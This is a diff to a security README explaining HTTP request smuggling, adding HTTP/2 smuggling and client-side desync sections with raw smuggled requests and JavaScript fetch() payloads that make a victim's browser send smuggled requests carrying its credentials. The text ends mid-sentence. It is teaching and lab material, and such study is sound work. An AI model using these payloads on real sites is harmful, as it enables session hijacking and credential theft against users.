diff --git a/Request Smuggling/README.md b/Request Smuggling/README.md index 07b2944..c242b24 100644 --- a/Request Smuggling/README.md +++ b/Request Smuggling/README.md @@ -1,5 +1,7 @@ # Request Smuggling +> HTTP Request smuggling occurs when multiple "things" process a request, but differ on how they determine where the request starts/ends. This disagreement can be used to interfere with another user's request/response or to bypass security controls. It normally occurs due to prioritising different HTTP headers (Content-Length vs Transfer-Encoding), differences in handling malformed headers (eg whether to ignore headers with unexpected whitespace), due to downgrading requests from a newer protocol, or due to differences in when a partial request has timed out and should be discarded. + ## Summary * [Tools](#tools) @@ -112,7 +114,68 @@ Transfer-Encoding Challenge: https://portswigger.net/web-security/request-smuggling/lab-ofuscating-te-header +## HTTP/2 Request Smuggling + +HTTP/2 request smuggling can occur if a machine converts your HTTP/2 request to HTTP/1.1, and you can smuggle an invalid content-length header, transfer-encoding header or new lines (CRLF) into the translated request. HTTP/2 request smuggling can also occur in a GET request, if you can hide an HTTP/1.1 request inside an HTTP/2 header + +``` +:method GET +:path / +:authority www.example.com +header ignored\r\n\r\nGET / HTTP/1.1\r\nHost: www.example.com +``` + +Challenge: https://portswigger.net/web-security/request-smuggling/advanced/response-queue-poisoning/lab-request-smuggling-h2-response-queue-poisoning-via-te-request-smuggling + +## Client-side desync + +On some paths, servers don't expect POST requests, and will treat them as simple GET requests, ignoring the payload, eg: + +``` +POST / HTTP/1.1 +Host: www.example.com +Content-Length: 37 + +GET / HTTP/1.1 +Host: www.example.com +``` + +could be treated as two requests when it should only be one. When the backend server responds twice, the frontend server will assume only the first response is related to this request. + +To exploit this, an attacker can use JavaScript to trigger their victim to send a POST to the vulnerable site: + +```javascript +fetch('https://www.example.com/', {method: 'POST', body: "GET / HTTP/1.1\r\nHost: www.example.com", mode: 'no-cors', credentials: 'include'} ) +``` + +This could be used to: + +* get the vulnerable site to store a victim's credentials somewhere the attacker can access it +* get the victim to send an exploit to a site (eg for internal sites the attacker cannot access, or to make it harder to attribute the attack) +* to get the victim to run arbitrary JavaScript as if it were from the site + +Eg: +```javascript +fetch('https://www.example.com/redirect', { + method: 'POST', + body: `HEAD /404/ HTTP/1.1\r\nHost: www.example.com\r\n\r\nGET /x?x= HTTP/1.1\r\nX: Y`, + credentials: 'include', + mode: 'cors' // throw an error instead of following redirect +}).catch(() => { + location = 'https://www.example.com/' +}) +``` + +tells the victim browser to send a POST request to www.example.com/redirect. That returns a redirect which is blocked by CORS, and causes the browser to execute the catch block, by going to www.example.com. + +www.example.com now incorrectly processes the HEAD request in the POST's body, instead of the browser's GET request, and returns 404 not found with a content-length, before replying to the next misinterpreted third (`GET /x?x=